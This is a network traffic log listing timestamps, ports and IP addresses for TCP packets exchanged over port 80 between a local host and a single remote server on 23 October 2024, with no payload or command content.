Oct 23, 2024 15:48:24.094069004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094089031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094103098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094115973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094118118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094134092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094136953 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094150066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094156027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094165087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094180107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094193935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094194889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094211102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094225883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094239950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094252110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094252110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094254971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094271898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094271898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094288111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094306946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094317913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094322920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094338894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094355106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094369888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094384909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094387054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094396114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094409943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094425917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094429016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094441891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094449043 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094460011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094466925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094472885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094487906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094502926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094507933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094517946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094527006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094540119 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094557047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094572067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094584942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094599009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094613075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094619036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094629049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094639063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094649076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094660044 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094664097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094680071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094693899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094693899 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094711065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094727039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094733953 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094741106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094757080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094769955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094773054 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094784021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094795942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094798088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094815016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094815969 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094835043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094854116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094854116 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094871998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094887018 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094887018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094902992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094919920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094932079 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094937086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094952106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094953060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094968081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094976902 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094985962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095002890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095017910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095032930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095036030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095051050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095062017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095067024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095082045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095082998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095091105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095103025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095117092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095130920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095133066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095144987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095159054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095169067 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095176935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095191956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095192909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095208883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095216990 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095225096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095242977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095252991 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095257998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095276117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095290899 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095292091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095309973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095330954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095346928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095361948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095376968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095382929 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095383883 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095383883 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095392942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095408916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095417023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095422983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095438004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095453978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095460892 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095470905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095487118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095501900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095501900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095521927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095524073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095537901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095550060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095554113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095570087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095583916 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095586061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095602036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095617056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095618963 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095630884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095640898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095648050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095664024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095678091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095683098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095694065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095707893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095716000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095722914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095736027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.095737934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.095782042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.097116947 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.100718021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.138921976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.138963938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.139219999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.144197941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.144232988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.144267082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.144326925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.198908091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.198962927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199057102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199093103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199127913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199160099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199218988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199213982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199214935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199214935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199271917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199310064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199337006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199393034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199455976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199456930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199508905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199557066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199557066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199589014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199621916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199642897 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199656010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199688911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199706078 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199722052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199750900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199770927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199784040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199816942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199837923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199848890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199882984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199899912 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199912071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199945927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.199965000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.199980974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200012922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200030088 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200048923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200077057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200102091 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200109005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200143099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200161934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200176001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200208902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200242043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200273991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200305939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200313091 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200340986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200372934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200404882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200428009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200438023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200468063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200494051 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200500965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200537920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200567007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200622082 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200774908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200809002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200843096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200891972 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.200891972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200927973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200979948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.200979948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201013088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201065063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201070070 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201097965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201148033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201150894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201199055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201232910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201255083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201265097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201282024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201302052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201334000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201350927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201378107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201427937 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201427937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201484919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201538086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201586962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201634884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201662064 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201670885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201704979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201750994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201782942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201797962 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201834917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201868057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201880932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201920033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.201961994 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.201968908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202003002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202049017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202053070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202086926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202126980 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202136040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202171087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202214003 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202219963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202255011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202296019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202311039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202344894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202377081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202428102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202444077 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202477932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202512026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202522039 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202562094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202598095 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202598095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202651978 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202651024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202688932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202734947 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202738047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202789068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202835083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202842951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202851057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202868938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202884912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202898979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202914000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202929974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202945948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202950954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202961922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202977896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.202982903 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202991009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.202994108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203012943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203027964 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.203027964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203046083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203054905 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.203059912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203077078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203092098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203098059 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.203111887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203128099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203135014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.203142881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203156948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203156948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.203174114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203182936 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.203191042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.203207016 CEST	80	49713	185.215.113.16	192.168.2.5
